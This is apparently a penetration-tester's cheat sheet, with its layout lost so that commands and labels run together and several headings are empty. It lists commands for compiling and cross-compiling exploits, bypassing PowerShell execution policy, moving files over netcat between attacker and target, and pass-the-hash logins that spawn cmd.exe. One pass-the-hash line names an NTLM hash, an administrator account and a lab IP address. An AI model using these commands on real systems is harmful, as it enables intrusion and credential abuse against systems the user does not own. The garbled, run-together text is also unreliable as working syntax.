Miscellaneous Commands¶
Compiling Exploits
gcc -o exploit exploit.c#Compile C code, add –m32 after ‘gcc’ for compiling 32 bit code on 64 bit Linuxi586-mingw32msvc-gcc exploit.c -lws2_32 -o exploit.exeCross compilingCompile Windows exploit in Linuxi686-w64-mingw32-gcc 18176.c -lws2_32 -o 18176.exeCompile Python script to executablewine ~/.wine/drive_c/Python27/Scripts/pyinstaller.exe --onefile exploit.py
Packet Inspection
Powershell bypass
Powershell: powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File file.ps1
Window Exploit Suggester
Finding Auxiliary
Netcat
From attacker to targetAt targetnc -lvp 6969 > blah.txtAt attacker (method 1)nc x.x.x.x 6969 < blah.txtAt attacker (method 2)cat blah.txt | nc x.x.x.x 6969
Perl Exploit
Awk
Searchsploit
Firewall Rule Enable
Wordlist Creation
PASS the HASH
Pass the hash :pth-winexe -U jenkins/administrator //ip cmd.exepth-winexe -U jenkins/administrator%password //ip cmd.execrackmapexec pth-winexe --user=jeeves/administrator%aad3b435b51404e eaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00 --system //10.10.10.63 cmd.exe
Share folder Windows to linux